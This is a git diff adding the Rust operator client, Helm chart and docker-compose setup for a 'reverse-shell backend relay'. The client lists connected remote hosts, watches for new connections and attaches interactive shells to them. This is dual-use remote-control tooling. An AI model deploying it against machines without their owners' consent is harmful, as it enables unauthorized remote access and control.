a/crates/rshc/src/cmd/connect.rs b/crates/rshc/src/cmd/connect.rs new file mode 100644 index 0000000..c144a7e --- /dev/null +++ b/crates/rshc/src/cmd/connect.rs @@ -0,0 +1,163 @@ +use crate::auth::AuthedClient; +use crate::cmd::connection; +use crate::ui; +use anyhow::{anyhow, Result}; +use crossterm::terminal; +use rsh_types::{AttachIOFrame, OpReq, OpResp}; +use std::io::Write; +use tokio::io::AsyncReadExt; + +pub async fn run( + client: &AuthedClient, + session: String, + connection_id: Option, + no_pty: bool, +) -> Result<()> { + let conns = connection::fetch(client, Some(session.clone())).await?; + if conns.is_empty() { + return Err(anyhow!("no connections for session '{session}'")); + } + let target = match connection_id { + Some(id) => { + conns + .iter() + .find(|c| c.connection_id == id) + .ok_or_else(|| anyhow!("no connection {id} in session '{session}'"))? + .clone() + } + None => { + if conns.len() == 1 { + conns[0].clone() + } else { + let labels: Vec = conns + .iter() + .map(|c| format!("#{} {}@{} ({})", c.connection_id, c.info.user, c.info.hostname, ui::fmt_time(c.connected_at))) + .collect(); + let pick = inquire::Select::new("select connection:", labels.clone()) + .prompt() + .map_err(|e| anyhow!("prompt: {e}"))?; + let idx = labels.iter().position(|l| l == &pick).unwrap(); + conns[idx].clone() + } + } + }; + + let (cols, rows) = terminal::size().unwrap_or((80, 24)); + let pty = !no_pty; + let (attach_id, mut resps) = client + .req_stream(OpReq::Attach { + session: session.clone(), + connection_id: Some(target.connection_id), + pty, + cols, + rows, + }) + .await?; + + let ready = resps.recv().await.ok_or_else(|| anyhow!("attach: no response"))?; + match ready { + OpResp::AttachReady { .. } => {} + OpResp::Err(e) => { + client.drop_stream(attach_id).await; + return Err(anyhow!(e)); + } + other => { + client.drop_stream(attach_id).await; + return Err(anyhow!("unexpected: {other:?}")); + } + } + ui::print_info(&format!( + "attached to #{} ({}@{}) — Ctrl-] to detach", + target.connection_id, target.info.user, target.info.hostname + )); + + if pty { + terminal::enable_raw_mode().ok(); + } + let result = pump(client, &mut resps, pty).await; + if pty { + terminal::disable_raw_mode().ok(); + } + client.drop_stream(attach_id).await; + println!(); + result +} + +async fn pump( + client: &AuthedClient, + resps: &mut tokio::sync::mpsc::Receiver, + pty: bool, +) -> Result<()> { + let mut stdin = tokio::io::stdin(); + let mut buf = [0u8; 4096]; + + let mut resize_rx: Option> = if pty { + let (tx, rx) = tokio::sync::mpsc::channel(8); + spawn_resize_watch(tx); + Some(rx) + } else { + None + }; + + loop { + tokio::select! { + r = stdin.read(&mut buf) => { + let n = r?; + if n == 0 { + let _ = client.send_attach_io(AttachIOFrame::Eof).await; + continue; + } + if pty && buf[..n].iter().any(|&b| b == 0x1d) { + let _ = client.send_attach_io(AttachIOFrame::Kill).await; + return Ok(()); + } + let _ = client.send_attach_io(AttachIOFrame::Stdin(buf[..n].to_vec())).await; + } + Some(resp) = resps.recv() => { + match resp { + OpResp::Stdout(b) => { + let mut out = std::io::stdout(); + out.write_all(&b).ok(); + out.flush().ok(); + } + OpResp::Stderr(b) => { + let mut err = std::io::stderr(); + err.write_all(&b).ok(); + err.flush().ok(); + } + OpResp::Exited { code } => { + ui::print_info(&format!("remote exited (code {:?})", code)); + return Ok(()); + } + OpResp::Err(e) => return Err(anyhow!(e)), + _ => {} + } + } + Some((cols, rows)) = async { + match resize_rx.as_mut() { + Some(r) => r.recv().await, + None => std::future::pending().await, + } + } => { + let _ = client.send_attach_io(AttachIOFrame::Resize { cols, rows }).await; + } + } + } +} + +fn spawn_resize_watch(tx: tokio::sync::mpsc::Sender<(u16, u16)>) { + tokio::spawn(async move { + let mut last = terminal::size().unwrap_or((80, 24)); + loop { + tokio::time::sleep(std::time::Duration::from_millis(500)).await; + if let Ok(sz) = terminal::size() { + if sz != last { + last = sz; + if tx.send(sz).await.is_err() { + break; + } + } + } + } + }); +} diff --git a/crates/rshc/src/cmd/connection.rs b/crates/rshc/src/cmd/connection.rs new file mode 100644 index 0000000..3f83155 --- /dev/null +++ b/crates/rshc/src/cmd/connection.rs @@ -0,0 +1,22 @@ +use crate::auth::AuthedClient; +use crate::ui; +use anyhow::{anyhow, Result}; +use rsh_types::{ConnectionView, OpReq, OpResp}; + +pub async fn list(client: &AuthedClient, session: Option) -> Result<()> { + let conns = fetch(client, session).await?; + if conns.is_empty() { + ui::print_info("no connections"); + } else { + println!("{}", ui::connections_table(&conns)); + } + Ok(()) +} + +pub async fn fetch(client: &AuthedClient, session: Option) -> Result> { + match client.req(OpReq::ConnectionList { session }).await? { + OpResp::Connections(c) => Ok(c), + OpResp::Err(e) => Err(anyhow!(e)), + other => Err(anyhow!("unexpected: {other:?}")), + } +} diff --git a/crates/rshc/src/cmd/keys.rs b/crates/rshc/src/cmd/keys.rs new file mode 100644 index 0000000..2143d11 --- /dev/null +++ b/crates/rshc/src/cmd/keys.rs @@ -0,0 +1,106 @@ +use crate::auth::AuthedClient; +use crate::ui; +use anyhow::{anyhow, Result}; +use rsh_types::{OpReq, OpResp}; +use std::io::{Read, Write}; + +pub async fn append(client: &AuthedClient, key: Option, file: Option, url: Option) -> Result<()> { + let keys = resolve(key, file, url).await?; + if keys.is_empty() { + return Err(anyhow!("no keys to append")); + } + match client.req(OpReq::KeysAppend { keys }).await? { + OpResp::Ok => ui::print_ok("keys appended"), + OpResp::Err(e) => return Err(anyhow!(e)), + other => return Err(anyhow!("unexpected: {other:?}")), + } + Ok(()) +} + +pub async fn remove(client: &AuthedClient, key: Option, file: Option, url: Option) -> Result<()> { + let keys = resolve(key, file, url).await?; + if keys.is_empty() { + return Err(anyhow!("no keys to remove")); + } + match client.req(OpReq::KeysRemove { keys }).await? { + OpResp::Ok => ui::print_ok("keys removed"), + OpResp::Err(e) => return Err(anyhow!(e)), + other => return Err(anyhow!("unexpected: {other:?}")), + } + Ok(()) +} + +pub async fn list(client: &AuthedClient) -> Result<()> { + match client.req(OpReq::KeysList).await? { + OpResp::Keys(k) => { + if k.is_empty() { + ui::print_info("no authorized keys"); + } else { + for line in &k { + println!("{line}"); + } + } + } + OpResp::Err(e) => return Err(anyhow!(e)), + other => return Err(anyhow!("unexpected: {other:?}")), + } + Ok(()) +} + +pub async fn edit(client: &AuthedClient) -> Result<()> { + let current = match client.req(OpReq::KeysList).await? { + OpResp::Keys(k) => k.join("\n"), + OpResp::Err(e) => return Err(anyhow!(e)), + other => return Err(anyhow!("unexpected: {other:?}")), + }; + let mut tmp = tempfile::NamedTempFile::new()?; + tmp.write_all(current.as_bytes())?; + tmp.write_all(b"\n")?; + let path = tmp.into_temp_path(); + let editor = std::env::var("EDITOR").unwrap_or_else(|_| "vi".into()); + let status = std::process::Command::new(&editor).arg(&path).status()?; + if !status.success() { + return Err(anyhow!("editor exited with {}", status)); + } + let mut content = String::new(); + std::fs::File::open(&path)?.read_to_string(&mut content)?; + match client.req(OpReq::KeysReplace { content }).await? { + OpResp::Ok => ui::print_ok("authorized_keys replaced"), + OpResp::Err(e) => return Err(anyhow!(e)), + other => return Err(anyhow!("unexpected: {other:?}")), + } + Ok(()) +} + +async fn resolve(key: Option, file: Option, url: Option) -> Result> { + if let Some(k) = key { + return Ok(split(&k)); + } + if let Some(f) = file { + let path = shellexpand::tilde(&f).to_string(); + let content = std::fs::read_to_string(&path)?; + return Ok(split(&content)); + } + if let Some(u) = url { + if !u.starts_with("https://") { + return Err(anyhow!("only https:// URLs allowed")); + } + let body = tokio::task::spawn_blocking(move || -> Result { + let resp = reqwest::blocking::get(&u)?; + if !resp.status().is_success() { + return Err(anyhow!("HTTP {}", resp.status())); + } + Ok(resp.text()?) + }) + .await??; + return Ok(split(&body)); + } + Err(anyhow!("provide KEY, --file, or --url")) +} + +fn split(s: &str) -> Vec { + s.lines() + .map(|l| l.trim().to_string()) + .filter(|l| !l.is_empty() && !l.starts_with('#')) + .collect() +} diff --git a/crates/rshc/src/cmd/mod.rs b/crates/rshc/src/cmd/mod.rs new file mode 100644 index 0000000..9d08cb3 --- /dev/null +++ b/crates/rshc/src/cmd/mod.rs @@ -0,0 +1,5 @@ +pub mod session; +pub mod connection; +pub mod connect; +pub mod keys; +pub mod watch; diff --git a/crates/rshc/src/cmd/session.rs b/crates/rshc/src/cmd/session.rs new file mode 100644 index 0000000..6d1b703 --- /dev/null +++ b/crates/rshc/src/cmd/session.rs @@ -0,0 +1,97 @@ +use crate::auth::AuthedClient; +use crate::ui; +use anyhow::{anyhow, Result}; +use argon2::password_hash::SaltString; +use argon2::{Argon2, PasswordHasher}; +use rand::rngs::OsRng; +use rsh_types::{OpReq, OpResp}; + +pub fn hash_password(password: &str) -> Result { + let salt = SaltString::generate(&mut OsRng); + Argon2::default() + .hash_password(password.as_bytes(), &salt) + .map(|h| h.to_string()) + .map_err(|e| anyhow!("hash: {e}")) +} + +pub async fn create(client: &AuthedClient, name: String) -> Result<()> { + let pw = inquire::Password::new("password (empty for none):") + .without_confirmation() + .with_display_mode(inquire::PasswordDisplayMode::Masked) + .prompt() + .map_err(|e| anyhow!("prompt: {e}"))?; + let password_hash = if pw.is_empty() { None } else { Some(hash_password(&pw)?) }; + match client.req(OpReq::SessionCreate { name: name.clone(), password_hash }).await? { + OpResp::Ok => ui::print_ok(&format!("session '{name}' created")), + OpResp::Err(e) => return Err(anyhow!(e)), + other => return Err(anyhow!("unexpected: {other:?}")), + } + Ok(()) +} + +pub async fn delete(client: &AuthedClient, name: String, yes: bool, disconnect: bool) -> Result<()> { + if !yes { + let ok = inquire::Confirm::new(&format!("delete session '{name}'?")) + .with_default(false) + .prompt() + .map_err(|e| anyhow!("prompt: {e}"))?; + if !ok { + ui::print_info("cancelled"); + return Ok(()); + } + } + match client.req(OpReq::SessionDelete { name: name.clone(), disconnect }).await? { + OpResp::Ok => ui::print_ok(&format!("session '{name}' deleted")), + OpResp::Err(e) => return Err(anyhow!(e)), + other => return Err(anyhow!("unexpected: {other:?}")), + } + Ok(()) +} + +pub async fn update( + client: &AuthedClient, + name: String, + pw_flag: Option>, + disconnect: bool, +) -> Result<()> { + let set_password_hash = match pw_flag { + None => None, + Some(Some(p)) => Some(Some(hash_password(&p)?)), + Some(None) => { + let entered = inquire::Password::new("new password (empty clears):") + .without_confirmation() + .with_display_mode(inquire::PasswordDisplayMode::Masked) + .prompt() + .map_err(|e| anyhow!("prompt: {e}"))?; + if entered.is_empty() { + Some(None) + } else { + Some(Some(hash_password(&entered)?)) + } + } + }; + match client + .req(OpReq::SessionUpdate { name: name.clone(), set_password_hash, disconnect }) + .await? + { + OpResp::Ok => ui::print_ok(&format!("session '{name}' updated")), + OpResp::Err(e) => return Err(anyhow!(e)), + other => return Err(anyhow!("unexpected: {other:?}")), + } + Ok(()) +} + +pub async fn list(client: &AuthedClient) -> Result<()> { + match client.req(OpReq::SessionList).await? { + OpResp::Sessions(s) => { + if s.is_empty() { + ui::print_info("no sessions"); + } else { + println!("{}", ui::sessions_table(&s)); + } + } + OpResp::Err(e) => return Err(anyhow!(e)), + other => return Err(anyhow!("unexpected: {other:?}")), + } + Ok(()) +} diff --git a/crates/rshc/src/cmd/watch.rs b/crates/rshc/src/cmd/watch.rs new file mode 100644 index 0000000..8ed3dd7 --- /dev/null +++ b/crates/rshc/src/cmd/watch.rs @@ -0,0 +1,39 @@ +use crate::auth::AuthedClient; +use crate::ui; +use anyhow::{anyhow, Result}; +use owo_colors::OwoColorize; +use rsh_types::{OpEvent, OpReq, OpResp}; + +pub async fn run(client: &AuthedClient, session: Option) -> Result<()> { + let mut events = client.take_events().await; + match client.req(OpReq::Watch { session: session.clone() }).await? { + OpResp::WatchStarted => {} + OpResp::Err(e) => return Err(anyhow!(e)), + other => return Err(anyhow!("unexpected: {other:?}")), + } + ui::print_info(&format!( + "watching {}", + session.as_deref().unwrap_or("all sessions") + )); + while let Some(ev) = events.recv().await { + match ev { + OpEvent::NewConnection(c) => println!( + "{} {} #{} {}@{}", + "+conn".green().bold(), + c.session_id, + c.connection_id, + c.info.user, + c.info.hostname + ), + OpEvent::ConnectionClosed { session, connection_id } => println!( + "{} {} #{}", + "-conn".red().bold(), + session, + connection_id + ), + OpEvent::NewSession(s) => println!("{} {}", "+sess".cyan().bold(), s.id), + OpEvent::SessionDeleted { session } => println!("{} {}", "-sess".magenta().bold(), session), + } + } + Ok(()) +} diff --git a/crates/rshc/src/config.rs b/crates/rshc/src/config.rs new file mode 100644 index 0000000..3d58e80 --- /dev/null +++ b/crates/rshc/src/config.rs @@ -0,0 +1,45 @@ +use anyhow::{anyhow, Context, Result}; +use serde::{Deserialize, Serialize}; +use std::path::PathBuf; + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct Config { + pub backend_url: String, + pub ssh_key_file: String, +} + +impl Config { + pub fn path() -> PathBuf { + if let Ok(p) = std::env::var("RSHC_CONFIG_PATH") { + return PathBuf::from(p); + } + let base = dirs::config_dir().unwrap_or_else(|| PathBuf::from(".")); + base.join("rsh.yaml") + } + + pub fn load() -> Result { + let p = Self::path(); + if !p.exists() { + if let Some(parent) = p.parent() { + std::fs::create_dir_all(parent).ok(); + } + let stub = Config { + backend_url: "wss://example.invalid/ws/op".into(), + ssh_key_file: "~/.ssh/id_ed25519".into(), + }; + let txt = serde_yaml::to_string(&stub)?; + std::fs::write(&p, txt)?; + return Err(anyhow!( + "no config — created stub at {}. Edit backend_url and ssh_key_file.", + p.display() + )); + } + let raw = std::fs::read_to_string(&p).with_context(|| format!("read {}", p.display()))?; + let cfg: Config = serde_yaml::from_str(&raw).with_context(|| format!("parse {}", p.display()))?; + Ok(cfg) + } + + pub fn ssh_key_path(&self) -> PathBuf { + PathBuf::from(shellexpand::tilde(&self.ssh_key_file).to_string()) + } +} diff --git a/crates/rshc/src/main.rs b/crates/rshc/src/main.rs new file mode 100644 index 0000000..d0fd2f8 --- /dev/null +++ b/crates/rshc/src/main.rs @@ -0,0 +1,156 @@ +mod auth; +mod cmd; +mod config; +mod ui; + +use anyhow::Result; +use auth::AuthedClient; +use clap::{Args, Parser, Subcommand}; +use config::Config; + +#[derive(Parser, Debug)] +#[command(name = "rshc", version, about = "rsh operator client")] +struct Cli { + #[command(subcommand)] + cmd: Cmd, +} + +#[derive(Subcommand, Debug)] +enum Cmd { + Watch(WatchArgs), + #[command(alias = "sessions", alias = "s", alias = "sess")] + Session(SessionCmd), + #[command(alias = "connections", alias = "conn")] + Connection(ConnectionCmd), + #[command(alias = "c")] + Connect(ConnectArgs), + Keys(KeysCmd), +} + +#[derive(Args, Debug)] +struct WatchArgs { + session: Option, +} + +#[derive(Args, Debug)] +struct SessionCmd { + #[command(subcommand)] + sub: SessionSub, +} + +#[derive(Subcommand, Debug)] +enum SessionSub { + #[command(alias = "c")] + Create { name: String }, + #[command(alias = "del", alias = "d", alias = "rm")] + Delete { + name: String, + #[arg(short = 'y', long)] + yes: bool, + #[arg(long)] + disconnect: bool, + }, + Update { + name: String, + #[arg(long = "pw", num_args = 0..=1, default_missing_value = "")] + pw: Option, + #[arg(long)] + disconnect: bool, + }, + #[command(alias = "l", alias = "ls")] + List, +} + +#[derive(Args, Debug)] +struct ConnectionCmd { + #[command(subcommand)] + sub: ConnectionSub, +} + +#[derive(Subcommand, Debug)] +enum ConnectionSub { + #[command(alias = "l", alias = "ls")] + List { + #[arg(long)] + session: Option, + }, +} + +#[derive(Args, Debug)] +struct ConnectArgs { + session: String, + connection_id: Option, + #[arg(long)] + no_pty: bool, +} + +#[derive(Args, Debug)] +struct KeysCmd { + #[command(subcommand)] + sub: KeysSub, +} + +#[derive(Subcommand, Debug)] +enum KeysSub { + Append { + key: Option, + #[arg(long)] + file: Option, + #[arg(long)] + url: Option, + }, + Rm { + key: Option, + #[arg(long)] + file: Option, + #[arg(long)] + url: Option, + }, + #[command(alias = "l", alias = "ls")] + List, + Edit, +} + +#[tokio::main] +async fn main() { + let _ = tracing_subscriber::fmt() + .with_writer(std::io::stderr) + .with_env_filter(tracing_subscriber::EnvFilter::try_from_default_env().unwrap_or_else(|_| tracing_subscriber::EnvFilter::new("warn"))) + .try_init(); + if let Err(e) = run().await { + ui::print_err(&e); + std::process::exit(1); + } +} + +async fn run() -> Result<()> { + let cli = Cli::parse(); + let cfg = Config::load()?; + let client = AuthedClient::connect(&cfg).await?; + match cli.cmd { + Cmd::Watch(a) => cmd::watch::run(&client, a.session).await, + Cmd::Session(s) => match s.sub { + SessionSub::Create { name } => cmd::session::create(&client, name).await, + SessionSub::Delete { name, yes, disconnect } => cmd::session::delete(&client, name, yes, disconnect).await, + SessionSub::Update { name, pw, disconnect } => { + let pw_flag = match pw { + None => None, + Some(s) if s.is_empty() => Some(None), + Some(s) => Some(Some(s)), + }; + cmd::session::update(&client, name, pw_flag, disconnect).await + } + SessionSub::List => cmd::session::list(&client).await, + }, + Cmd::Connection(c) => match c.sub { + ConnectionSub::List { session } => cmd::connection::list(&client, session).await, + }, + Cmd::Connect(a) => cmd::connect::run(&client, a.session, a.connection_id, a.no_pty).await, + Cmd::Keys(k) => match k.sub { + KeysSub::Append { key, file, url } => cmd::keys::append(&client, key, file, url).await, + KeysSub::Rm { key, file, url } => cmd::keys::remove(&client, key, file, url).await, + KeysSub::List => cmd::keys::list(&client).await, + KeysSub::Edit => cmd::keys::edit(&client).await, + }, + } +} diff --git a/crates/rshc/src/ui.rs b/crates/rshc/src/ui.rs new file mode 100644 index 0000000..2a0afe1 --- /dev/null +++ b/crates/rshc/src/ui.rs @@ -0,0 +1,73 @@ +use comfy_table::{presets::UTF8_FULL, Cell, Table}; +use owo_colors::OwoColorize; +use rsh_types::{ConnectionView, SessionView}; + +pub fn print_err(e: &anyhow::Error) { + eprintln!("{} {}", "✗".red().bold(), format!("{e}").red()); + let mut src = e.source(); + while let Some(s) = src { + eprintln!(" {} {}", "↳".red(), s); + src = s.source(); + } +} + +pub fn print_ok(msg: &str) { + println!("{} {}", "✓".green().bold(), msg); +} + +pub fn print_info(msg: &str) { + println!("{} {}", "›".cyan(), msg); +} + +pub fn sessions_table(rows: &[SessionView]) -> String { + let mut t = Table::new(); + t.load_preset(UTF8_FULL); + t.set_header(vec!["session", "password", "created", "connections"]); + for r in rows { + t.add_row(vec![ + Cell::new(&r.id), + Cell::new(if r.has_password { "yes" } else { "no" }), + Cell::new(fmt_time(r.created_at)), + Cell::new(r.connection_count), + ]); + } + t.to_string() +} + +pub fn connections_table(rows: &[ConnectionView]) -> String { + let mut t = Table::new(); + t.load_preset(UTF8_FULL); + t.set_header(vec!["session", "id", "host", "user", "os/arch", "connected"]); + for r in rows { + t.add_row(vec![ + Cell::new(&r.session_id), + Cell::new(r.connection_id), + Cell::new(&r.info.hostname), + Cell::new(&r.info.user), + Cell::new(format!("{}/{}", r.info.os, r.info.arch)), + Cell::new(fmt_time(r.connected_at)), + ]); + } + t.to_string() +} + +pub fn fmt_time(t: i64) -> String { + let now = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .map(|d| d.as_secs() as i64) + .unwrap_or(0); + let delta = now - t; + if delta < 0 { + return "now".into(); + } + if delta < 60 { + return format!("{}s ago", delta); + } + if delta < 3600 { + return format!("{}m ago", delta / 60); + } + if delta < 86400 { + return format!("{}h ago", delta / 3600); + } + format!("{}d ago", delta / 86400) +} diff --git a/deploy/helm/rsh-backend/Chart.yaml b/deploy/helm/rsh-backend/Chart.yaml new file mode 100644 index 0000000..8d54436 --- /dev/null +++ b/deploy/helm/rsh-backend/Chart.yaml @@ -0,0 +1,6 @@ +apiVersion: v2 +name: rsh-backend +description: rsh reverse-shell backend relay +type: application +version: 0.1.0 +appVersion: "0.1.0" diff --git a/deploy/helm/rsh-backend/templates/_helpers.tpl b/deploy/helm/rsh-backend/templates/_helpers.tpl new file mode 100644 index 0000000..cd43332 --- /dev/null +++ b/deploy/helm/rsh-backend/templates/_helpers.tpl @@ -0,0 +1,37 @@ +{{- define "rsh-backend.name" -}} +{{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix "-" -}} +{{- end -}} + +{{- define "rsh-backend.fullname" -}} +{{- if .Values.fullnameOverride -}} +{{- .Values.fullnameOverride | trunc 63 | trimSuffix "-" -}} +{{- else -}} +{{- $name := default .Chart.Name .Values.nameOverride -}} +{{- if contains $name .Release.Name -}} +{{- .Release.Name | trunc 63 | trimSuffix "-" -}} +{{- else -}} +{{- printf "%s-%s" .Release.Name $name | trunc 63 | trimSuffix "-" -}} +{{- end -}} +{{- end -}} +{{- end -}} + +{{- define "rsh-backend.labels" -}} +app.kubernetes.io/name: {{ include "rsh-backend.name" . }} +app.kubernetes.io/instance: {{ .Release.Name }} +app.kubernetes.io/managed-by: {{ .Release.Service }} +app.kubernetes.io/version: {{ .Chart.AppVersion | quote }} +helm.sh/chart: {{ printf "%s-%s" .Chart.Name .Chart.Version | replace "+" "_" | trunc 63 | trimSuffix "-" }} +{{- end -}} + +{{- define "rsh-backend.selectorLabels" -}} +app.kubernetes.io/name: {{ include "rsh-backend.name" . }} +app.kubernetes.io/instance: {{ .Release.Name }} +{{- end -}} + +{{- define "rsh-backend.serviceAccountName" -}} +{{- if .Values.serviceAccount.create -}} +{{- default (include "rsh-backend.fullname" .) .Values.serviceAccount.name -}} +{{- else -}} +{{- default "default" .Values.serviceAccount.name -}} +{{- end -}} +{{- end -}} diff --git a/deploy/helm/rsh-backend/templates/deployment.yaml b/deploy/helm/rsh-backend/templates/deployment.yaml new file mode 100644 index 0000000..b6d3c38 --- /dev/null +++ b/deploy/helm/rsh-backend/templates/deployment.yaml @@ -0,0 +1,117 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: {{ include "rsh-backend.fullname" . }} + labels: + {{- include "rsh-backend.labels" . | nindent 4 }} +spec: + replicas: {{ .Values.replicaCount }} + strategy: + type: Recreate + selector: + matchLabels: + {{- include "rsh-backend.selectorLabels" . | nindent 6 }} + template: + metadata: + labels: + {{- include "rsh-backend.selectorLabels" . | nindent 8 }} + annotations: + {{- if .Values.authorizedKeys }} + checksum/authorized-keys: {{ .Values.authorizedKeys | sha256sum }} + {{- end }} + spec: + serviceAccountName: {{ include "rsh-backend.serviceAccountName" . }} + {{- with .Values.imagePullSecrets }} + imagePullSecrets: + {{- toYaml . | nindent 8 }} + {{- end }} + securityContext: + {{- toYaml .Values.podSecurityContext | nindent 8 }} + {{- if .Values.authorizedKeys }} + initContainers: + - name: seed-authorized-keys + image: "{{ .Values.image.repository }}:{{ .Values.image.tag | default .Chart.AppVersion }}" + imagePullPolicy: {{ .Values.image.pullPolicy }} + command: + - /bin/sh + - -c + - | + set -eu + install -m 600 /seed/authorized_keys /var/lib/rsh/authorized_keys + volumeMounts: + - name: data + mountPath: /var/lib/rsh + - name: authorized-keys + mountPath: /seed + readOnly: true + securityContext: + {{- toYaml .Values.securityContext | nindent 12 }} + {{- end }} + containers: + - name: rsh-backend + image: "{{ .Values.image.repository }}:{{ .Values.image.tag | default .Chart.AppVersion }}" + imagePullPolicy: {{ .Values.image.pullPolicy }} + ports: + - name: http + containerPort: 7777 + protocol: TCP + env: + - name: RSH_DATA + value: /var/lib/rsh + - name: RSH_BIND + value: 0.0.0.0:7777 + {{- range $k, $v := .Values.env }} + - name: {{ $k }} + value: {{ $v | quote }} + {{- end }} + livenessProbe: + httpGet: + path: /healthz + port: http + initialDelaySeconds: 5 + periodSeconds: 10 + readinessProbe: + httpGet: + path: /healthz + port: http + initialDelaySeconds: 2 + periodSeconds: 5 + securityContext: + {{- toYaml .Values.securityContext | nindent 12 }} + resources: + {{- toYaml .Values.resources | nindent 12 }} + volumeMounts: + - name: data + mountPath: /var/lib/rsh + - name: tmp + mountPath: /tmp + volumes: + - name: tmp + emptyDir: {} + - name: data + {{- if .Values.persistence.enabled }} + persistentVolumeClaim: + claimName: {{ include "rsh-backend.fullname" . }}-data + {{- else }} + emptyDir: {} + {{- end }} + {{- if .Values.authorizedKeys }} + - name: authorized-keys + secret: + secretName: {{ include "rsh-backend.fullname" . }}-authorized-keys + items: + - key: authorized_keys + path: authorized_keys + {{- end }} + {{- with .Values.nodeSelector }} + nodeSelector: + {{- toYaml . | nindent 8 }} + {{- end }} + {{- with .Values.tolerations }} + tolerations: + {{- toYaml . | nindent 8 }} + {{- end }} + {{- with .Values.affinity }} + affinity: + {{- toYaml . | nindent 8 }} + {{- end }} diff --git a/deploy/helm/rsh-backend/templates/ingress.yaml b/deploy/helm/rsh-backend/templates/ingress.yaml new file mode 100644 index 0000000..b6ee893 --- /dev/null +++ b/deploy/helm/rsh-backend/templates/ingress.yaml @@ -0,0 +1,33 @@ +{{- if .Values.ingress.enabled }} +apiVersion: networking.k8s.io/v1 +kind: Ingress +metadata: + name: {{ include "rsh-backend.fullname" . }} + labels: + {{- include "rsh-backend.labels" . | nindent 4 }} + {{- with .Values.ingress.annotations }} + annotations: + {{- toYaml . | nindent 4 }} + {{- end }} +spec: + {{- if .Values.ingress.className }} + ingressClassName: {{ .Values.ingress.className }} + {{- end }} + {{- if .Values.ingress.tls.enabled }} + tls: + - hosts: + - {{ .Values.ingress.host | quote }} + secretName: {{ .Values.ingress.tls.secretName | quote }} + {{- end }} + rules: + - host: {{ .Values.ingress.host | quote }} + http: + paths: + - path: / + pathType: Prefix + backend: + service: + name: {{ include "rsh-backend.fullname" . }} + port: + number: {{ .Values.service.port }} +{{- end }} diff --git a/deploy/helm/rsh-backend/templates/pvc.yaml b/deploy/helm/rsh-backend/templates/pvc.yaml new file mode 100644 index 0000000..f37c5a0 --- /dev/null +++ b/deploy/helm/rsh-backend/templates/pvc.yaml @@ -0,0 +1,17 @@ +{{- if .Values.persistence.enabled }} +apiVersion: v1 +kind: PersistentVolumeClaim +metadata: + name: {{ include "rsh-backend.fullname" . }}-data + labels: + {{- include "rsh-backend.labels" . | nindent 4 }} +spec: + accessModes: + - {{ .Values.persistence.accessMode | quote }} + resources: + requests: + storage: {{ .Values.persistence.size | quote }} + {{- if .Values.persistence.storageClass }} + storageClassName: {{ .Values.persistence.storageClass | quote }} + {{- end }} +{{- end }} diff --git a/deploy/helm/rsh-backend/templates/secret.yaml b/deploy/helm/rsh-backend/templates/secret.yaml new file mode 100644 index 0000000..784bc40 --- /dev/null +++ b/deploy/helm/rsh-backend/templates/secret.yaml @@ -0,0 +1,12 @@ +{{- if .Values.authorizedKeys }} +apiVersion: v1 +kind: Secret +metadata: + name: {{ include "rsh-backend.fullname" . }}-authorized-keys + labels: + {{- include "rsh-backend.labels" . | nindent 4 }} +type: Opaque +stringData: + authorized_keys: | +{{ .Values.authorizedKeys | indent 4 }} +{{- end }} diff --git a/deploy/helm/rsh-backend/templates/service.yaml b/deploy/helm/rsh-backend/templates/service.yaml new file mode 100644 index 0000000..ceada9c --- /dev/null +++ b/deploy/helm/rsh-backend/templates/service.yaml @@ -0,0 +1,19 @@ +apiVersion: v1 +kind: Service +metadata: + name: {{ include "rsh-backend.fullname" . }} + labels: + {{- include "rsh-backend.labels" . | nindent 4 }} + {{- with .Values.service.annotations }} + annotations: + {{- toYaml . | nindent 4 }} + {{- end }} +spec: + type: {{ .Values.service.type }} + ports: + - name: http + port: {{ .Values.service.port }} + targetPort: http + protocol: TCP + selector: + {{- include "rsh-backend.selectorLabels" . | nindent 4 }} diff --git a/deploy/helm/rsh-backend/templates/serviceaccount.yaml b/deploy/helm/rsh-backend/templates/serviceaccount.yaml new file mode 100644 index 0000000..db8162f --- /dev/null +++ b/deploy/helm/rsh-backend/templates/serviceaccount.yaml @@ -0,0 +1,12 @@ +{{- if .Values.serviceAccount.create }} +apiVersion: v1 +kind: ServiceAccount +metadata: + name: {{ include "rsh-backend.serviceAccountName" . }} + labels: + {{- include "rsh-backend.labels" . | nindent 4 }} + {{- with .Values.serviceAccount.annotations }} + annotations: + {{- toYaml . | nindent 4 }} + {{- end }} +{{- end }} diff --git a/deploy/helm/rsh-backend/values.yaml b/deploy/helm/rsh-backend/values.yaml new file mode 100644 index 0000000..99cd3ac --- /dev/null +++ b/deploy/helm/rsh-backend/values.yaml @@ -0,0 +1,55 @@ +image: + repository: rsh-backend + tag: "" + pullPolicy: IfNotPresent + +imagePullSecrets: [] + +replicaCount: 1 + +env: + RSH_LOG: info + +service: + type: ClusterIP + port: 7777 + annotations: {} + +ingress: + enabled: false + className: "" + annotations: {} + host: rsh.example.com + tls: + enabled: false + secretName: "" + +persistence: + enabled: true + size: 1Gi + storageClass: "" + accessMode: ReadWriteOnce + +authorizedKeys: "" + +resources: {} + +nodeSelector: {} +tolerations: [] +affinity: {} + +podSecurityContext: + fsGroup: 10001 +securityContext: + runAsNonRoot: true + runAsUser: 10001 + readOnlyRootFilesystem: true + allowPrivilegeEscalation: false + capabilities: + drop: + - ALL + +serviceAccount: + create: true + name: "" + annotations: {} diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..f15514d --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,19 @@ +services: + rsh-backend: + build: + context: . + dockerfile: Dockerfile + image: rsh-backend:${RSH_IMAGE_TAG:-local} + container_name: rsh-backend + restart: unless-stopped + ports: + - "${RSH_PORT:-7777}:7777" + environment: + RSH_DATA: /var/lib/rsh + RSH_BIND: 0.0.0.0:7777 + RSH_LOG: ${RSH_LOG:-info} + volumes: + - ${RSH_DATA_DIR:-rsh-data}:/var/lib/rsh + +volumes: + rsh-data: